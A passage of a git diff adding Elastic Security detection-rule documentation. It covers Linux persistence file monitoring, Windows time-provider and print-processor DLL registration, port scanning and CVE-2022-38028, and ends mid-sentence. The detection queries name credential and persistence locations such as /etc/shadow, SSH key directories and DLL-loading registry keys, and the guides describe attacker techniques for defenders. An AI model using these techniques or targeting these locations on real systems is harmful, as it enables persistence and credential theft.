"/usr/lib/ld-linux*.so*", "/usr/lib64/ld-linux*.so*", + + // message-of-the-day (MOTD) + "/etc/update-motd.d/*", + + // SSH + "/home/*/.ssh/*", "/root/.ssh/*", "/etc/ssh/*", + + // system-wide shell configurations + "/etc/profile", "/etc/profile.d/*", "/etc/bash.bashrc", "/etc/zsh/*", "/etc/csh.cshrc", + "/etc/csh.login", "/etc/fish/config.fish", "/etc/ksh.kshrc", + + // root and user shell configurations + "/home/*/.profile", "/home/*/.bashrc", "/home/*/.bash_login", "/home/*/.bash_logout", + "/root/.profile", "/root/.bashrc", "/root/.bash_login", "/root/.bash_logout", + "/home/*/.zprofile", "/home/*/.zshrc", "/root/.zprofile", "/root/.zshrc", + "/home/*/.cshrc", "/home/*/.login", "/home/*/.logout", "/root/.cshrc", "/root/.login", "/root/.logout", + "/home/*/.config/fish/config.fish", "/root/.config/fish/config.fish", + "/home/*/.kshrc", "/root/.kshrc", + + // Alias files + "/home/*/.bash_aliases", "/root/.bash_aliases", "/home/*/.zsh_aliases", "/root/.zsh_aliases", + "/home/*/.aws/cli/alias", "/root/.aws/cli/alias", + + // runtime control + "/etc/rc.common", "/etc/rc.local", + + // System V init/Upstart + "/etc/init.d/*", "/etc/init/*", + + // passwd/sudoers/shadow + "/etc/passwd", "/etc/shadow", "/etc/sudoers", "/etc/sudoers.d/*", + + // Systemd udevd + "/lib/udev/*", "/etc/udev/rules.d/*", "/usr/lib/udev/rules.d/*", "/run/udev/rules.d/*", "/usr/local/lib/udev/rules.d/*", + + // XDG/KDE autostart entries + "/home/*/.config/autostart/*", "/root/.config/autostart/*", "/etc/xdg/autostart/*", "/usr/share/autostart/*", + "/home/*/.kde/Autostart/*", "/root/.kde/Autostart/*", + "/home/*/.kde4/Autostart/*", "/root/.kde4/Autostart/*", + "/home/*/.kde/share/autostart/*", "/root/.kde/share/autostart/*", + "/home/*/.kde4/share/autostart/*", "/root/.kde4/share/autostart/*", + "/home/*/.local/share/autostart/*", "/root/.local/share/autostart/*", + "/home/*/.config/autostart-scripts/*", "/root/.config/autostart-scripts/*", + + // LKM configuration files + "/etc/modules", "/etc/modprobe.d/*", "/usr/lib/modprobe.d/*", "/etc/modules-load.d/*", + "/run/modules-load.d/*", "/usr/local/lib/modules-load.d/*", "/usr/lib/modules-load.d/*", + + // PAM modules & configuration files + "/lib/security/*", "/lib64/security/*", "/usr/lib/security/*", "/usr/lib64/security/*", + "/lib/x86_64-linux-gnu/security/*", "/usr/lib/x86_64-linux-gnu/security/*", + "/etc/pam.d/*", "/etc/security/pam_*", "/etc/pam.conf", + + // Polkit Rule files + "/etc/polkit-1/rules.d/*", "/usr/share/polkit-1/rules.d/*", + + // Polkit pkla files + "/etc/polkit-1/localauthority/*", "/var/lib/polkit-1/localauthority/*", + + // Polkit Action files + "/usr/share/polkit-1/actions/*", + + // Polkit Legacy paths + "/lib/polkit-1/rules.d/*", "/lib64/polkit-1/rules.d/*", "/var/lib/polkit-1/rules.d/*", + + // NetworkManager + "/etc/NetworkManager/dispatcher.d/*", + + // D-bus Service files + "/usr/share/dbus-1/system-services/*", "/etc/dbus-1/system.d/*", + "/lib/dbus-1/system-services/*", "/run/dbus/system.d/*", + "/home/*/.local/share/dbus-1/services/*", "/home/*/.dbus/session-bus/*", + "/usr/share/dbus-1/services/*", "/etc/dbus-1/session.d/*", + + // GRUB + "/etc/default/grub.d/*", "/etc/default/grub", "/etc/grub.d/*", "/boot/grub2/grub.cfg", + "/boot/grub/grub.cfg", "/boot/efi/EFI/*/grub.cfg", "/etc/sysconfig/grub", + + // Dracut + "/lib/dracut/modules.d/*", "/usr/lib/dracut/modules.d/*", + + // Misc. + "/etc/shells" + +) and not ( + file.path : ( + "/var/spool/cron/crontabs/tmp.*", "/run/udev/rules.d/*rules.*", "/home/*/.ssh/known_hosts.*", "/root/.ssh/known_hosts.*" + ) or + file.extension in ("dpkg-new", "dpkg-remove", "SEQ") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: At +** ID: T1053.002 +** Reference URL: https://attack.mitre.org/techniques/T1053/002/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Sub-technique: +** Name: Udev Rules +** ID: T1546.017 +** Reference URL: https://attack.mitre.org/techniques/T1546/017/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-persistence-via-time-provider-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-persistence-via-time-provider-modification.asciidoc new file mode 100644 index 0000000000..a1bf8b7a4e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-persistence-via-time-provider-modification.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-21-potential-persistence-via-time-provider-modification]] +=== Potential Persistence via Time Provider Modification + +Identifies modification of the Time Provider. Adversaries may establish persistence by registering and enabling a malicious DLL as a time provider. Windows uses the time provider architecture to obtain accurate time stamps from other network devices or clients in the network. Time providers are implemented in the form of a DLL file which resides in the System32 folder. The service W32Time initiates during the startup of Windows and loads w32time.dll. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pentestlab.blog/2019/10/22/persistence-time-providers/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Persistence via Time Provider Modification* + + +The Time Provider architecture in Windows is responsible for obtaining accurate timestamps from network devices or clients. It is implemented as a DLL file in the System32 folder and is initiated by the W32Time service during Windows startup. Adversaries may exploit this by registering and enabling a malicious DLL as a time provider to establish persistence. + +This rule identifies changes in the registry paths associated with Time Providers, specifically targeting the addition of new DLL files. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine whether the DLL is signed. +- Retrieve the DLL and determine if it is malicious: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore Time Provider settings to the desired state. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path: "*\\SYSTEM\\*ControlSet*\\Services\\W32Time\\TimeProviders\\*" and + registry.data.strings:"*.dll" and + not + ( + process.executable : ("?:\\Windows\\System32\\msiexec.exe", "\\Device\\HarddiskVolume*\\Windows\\System32\\msiexec.exe") and + registry.data.strings : "?:\\Program Files\\VMware\\VMware Tools\\vmwTimeProvider\\vmwTimeProvider.dll" + ) and + not registry.data.strings : "C:\\Windows\\SYSTEM32\\w32time.DLL" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Time Providers +** ID: T1547.003 +** Reference URL: https://attack.mitre.org/techniques/T1547/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Time Providers +** ID: T1547.003 +** Reference URL: https://attack.mitre.org/techniques/T1547/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-port-monitor-or-print-processor-registration-abuse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-port-monitor-or-print-processor-registration-abuse.asciidoc new file mode 100644 index 0000000000..70fb94909d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-port-monitor-or-print-processor-registration-abuse.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-potential-port-monitor-or-print-processor-registration-abuse]] +=== Potential Port Monitor or Print Processor Registration Abuse + +Identifies port monitor and print processor registry modifications. Adversaries may abuse port monitor and print processors to run malicious DLLs during system boot that will be executed as SYSTEM for privilege escalation and/or persistence, if permissions allow writing a fully-qualified pathname for that DLL. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Port Monitor or Print Processor Registration Abuse* + + +Port monitors and print processors are integral to Windows printing, managing data flow and processing print jobs. Adversaries exploit these by registering malicious DLLs, which execute with SYSTEM privileges at boot, enabling persistence and privilege escalation. The detection rule identifies registry changes in specific paths, focusing on non-SYSTEM user modifications, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the registry path specified in the alert to confirm the presence of any unauthorized or suspicious DLLs in the paths: HKLM\SYSTEM\*ControlSet*\Control\Print\Monitors\* and HKLM\SYSTEM\*ControlSet*\Control\Print\Environments\Windows*\Print Processors\*. +- Identify the user account associated with the registry change by examining the user.id field, ensuring it is not the SYSTEM account (S-1-5-18), and determine if the account has a legitimate reason to modify these registry paths. +- Check the file properties and digital signatures of the DLLs found in the registry paths to verify their legitimacy and identify any anomalies or signs of tampering. +- Investigate the system's event logs around the time of the registry change to gather additional context, such as other activities performed by the same user or related processes that might indicate malicious behavior. +- Conduct a threat intelligence search on the identified DLLs and any associated file hashes to determine if they are known to be associated with malicious activity or threat actors. +- Assess the system for any signs of privilege escalation or persistence mechanisms that may have been established as a result of the registry modification, such as new services or scheduled tasks. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify print processor or port monitor registry paths. Users should verify if recent installations or updates coincide with the detected changes. +- System administrators performing maintenance or configuration changes might trigger alerts. Ensure that such activities are documented and cross-referenced with the alert timestamps. +- Some third-party printing solutions may register their own DLLs in these registry paths. Identify and whitelist these known applications to prevent unnecessary alerts. +- Automated scripts or management tools that modify printer settings could cause false positives. Review and adjust these tools to ensure they operate under expected user accounts or exclude their known behaviors. +- Regularly review and update the exclusion list to include any new benign applications or processes that interact with the monitored registry paths. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes associated with the malicious DLLs identified in the registry paths to halt their execution. +- Remove the unauthorized DLL entries from the registry paths: HKLM\SYSTEM\*ControlSet*\Control\Print\Monitors\* and HKLM\SYSTEM\*ControlSet*\Control\Print\Environments\Windows*\Print Processors\* to eliminate persistence mechanisms. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and reset credentials for any accounts that may have been compromised, especially those with elevated privileges, to prevent unauthorized access. +- Implement application whitelisting to prevent unauthorized DLLs from executing, focusing on the paths identified in the alert. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected, ensuring comprehensive threat containment and eradication. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : ( + "HKLM\\SYSTEM\\*ControlSet*\\Control\\Print\\Monitors\\*", + "HKLM\\SYSTEM\\*ControlSet*\\Control\\Print\\Environments\\Windows*\\Print Processors\\*", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Print\\Monitors\\*", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Print\\Environments\\Windows*\\Print Processors\\*" + ) and registry.data.strings : "*.dll" and + /* exclude SYSTEM SID - look for changes by non-SYSTEM user */ + not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Port Monitors +** ID: T1547.010 +** Reference URL: https://attack.mitre.org/techniques/T1547/010/ +* Sub-technique: +** Name: Print Processors +** ID: T1547.012 +** Reference URL: https://attack.mitre.org/techniques/T1547/012/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Port Monitors +** ID: T1547.010 +** Reference URL: https://attack.mitre.org/techniques/T1547/010/ +* Sub-technique: +** Name: Print Processors +** ID: T1547.012 +** Reference URL: https://attack.mitre.org/techniques/T1547/012/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-port-scanning-activity-from-compromised-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-port-scanning-activity-from-compromised-host.asciidoc new file mode 100644 index 0000000000..b787a8ad77 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-port-scanning-activity-from-compromised-host.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-21-potential-port-scanning-activity-from-compromised-host]] +=== Potential Port Scanning Activity from Compromised Host + +This rule detects potential port scanning activity from a compromised host. Port scanning is a common reconnaissance technique used by attackers to identify open ports and services on a target system. A compromised host may exhibit port scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable services, or prepare for further exploitation. This rule identifies potential port scanning activity by monitoring network connection attempts from a single host to a large number of ports within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Port Scanning Activity from Compromised Host* + + +Port scanning is a reconnaissance method used by attackers to identify open ports and services on a network, often as a precursor to exploitation. In Linux environments, compromised hosts may perform rapid connection attempts to numerous ports, signaling potential scanning activity. The detection rule identifies such behavior by analyzing network logs for a high number of distinct port connections from a single host within a short timeframe, indicating possible malicious intent. + + +*Possible investigation steps* + + +- Review the network logs to identify the specific host exhibiting the port scanning behavior by examining the destination.ip and process.executable fields. +- Analyze the @timestamp field to determine the exact time frame of the scanning activity and correlate it with any other suspicious activities or alerts from the same host. +- Investigate the process.executable field to understand which application or service initiated the connection attempts, and verify if it is a legitimate process or potentially malicious. +- Check the destination.port field to identify the range and types of ports targeted by the scanning activity, which may provide insights into the attacker's objectives or the services they are interested in. +- Assess the host's security posture by reviewing recent changes, installed software, and user activity to determine if the host has been compromised or if the scanning is part of legitimate network operations. +- Consult the original documents and logs for additional context and details that may not be captured in the alert to aid in a comprehensive investigation. + + +*False positive analysis* + + +- Legitimate network scanning tools used by system administrators for network maintenance or security assessments can trigger this rule. To handle this, identify and whitelist the IP addresses or processes associated with these tools. +- Automated vulnerability scanners or monitoring systems that perform regular checks on network services may cause false positives. Exclude these systems by creating exceptions for their known IP addresses or process names. +- High-volume legitimate services that open multiple connections to different ports, such as load balancers or proxy servers, might be flagged. Review and exclude these services by specifying their IP addresses or process executables. +- Development or testing environments where frequent port scanning is part of routine operations can be mistakenly identified. Implement exceptions for these environments by excluding their specific network segments or host identifiers. +- Scheduled network discovery tasks that are part of IT operations can mimic port scanning behavior. Document and exclude these tasks by setting up time-based exceptions or identifying their unique process signatures. + + +*Response and remediation* + + +- Isolate the compromised host from the network immediately to prevent further scanning and potential lateral movement. +- Terminate any suspicious processes identified by the process.executable field to halt ongoing malicious activities. +- Conduct a thorough review of the compromised host's system logs and network traffic to identify any unauthorized access or data exfiltration attempts. +- Patch and update all software and services on the compromised host to close any vulnerabilities that may have been exploited. +- Change all credentials associated with the compromised host and any potentially affected systems to prevent unauthorized access. +- Monitor the network for any further signs of scanning activity or other suspicious behavior from other hosts, indicating potential additional compromises. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.network-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "connection_attempted" and + network.direction == "egress" and + destination.port < 32768 and + not ( + cidr_match(destination.ip, "127.0.0.0/8", "::1", "FE80::/10", "FF00::/8") or + process.name in ("java", "node") or + process.name like "python*" or + process.executable in ( + "/opt/dbtk/bin/jsvc", "/usr/lib/dotnet/dotnet", "/usr/sbin/haproxy", "/opt/kaspersky/kesl/libexec/kesl", + "/usr/bin/dotnet", "/usr/sap/SAPBusinessOne/EDS/bin/EDFBackend", "/usr/local/bin/longhorn-instance-manager" + ) or + process.executable like "/var/opt/kaspersky/kesl/*kesl" or + process.executable like "/opt/google/chrome*" or + process.executable like "/snap/*" or + process.executable like "/home/*/.local/share/JetBrains/*" + ) +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + network.direction, + destination.port, + process.executable, + process.name, + destination.ip, + source.ip, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.destination_port_count_distinct = count_distinct(destination.port), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.source_ip_values = values(source.ip), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by process.executable, destination.ip +| where + Esql.agent_id_count_distinct == 1 and + Esql.destination_port_count_distinct > 100 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.executable, destination.ip, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-privilege-escalation-via-cve-2022-38028.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-privilege-escalation-via-cve-2022-38028.asciidoc new file mode 100644 index 0000000000..c3b81fc306 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-privilege-escalation-via-cve-2022-38028.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-21-potential-privilege-escalation-via-cve-2022-38028]] +=== Potential privilege escalation via CVE-2022-38028 + +Identifies a privilege escalation attempt via exploiting CVE-2022-38028 to hijack the print spooler service execution. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential privilege escalation via CVE-2022-38028* + + +CVE-2022-38028 targets the Windows Print Spooler service, a core component managing print jobs. Adversaries exploit this by manipulating specific JavaScript files within system directories to gain elevated privileges. The detection rule identifies unauthorized file presence in critical paths, signaling potential exploitation attempts, leveraging multiple data sources for comprehensive threat detection. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the file "MPDW-constraints.js" in the specified 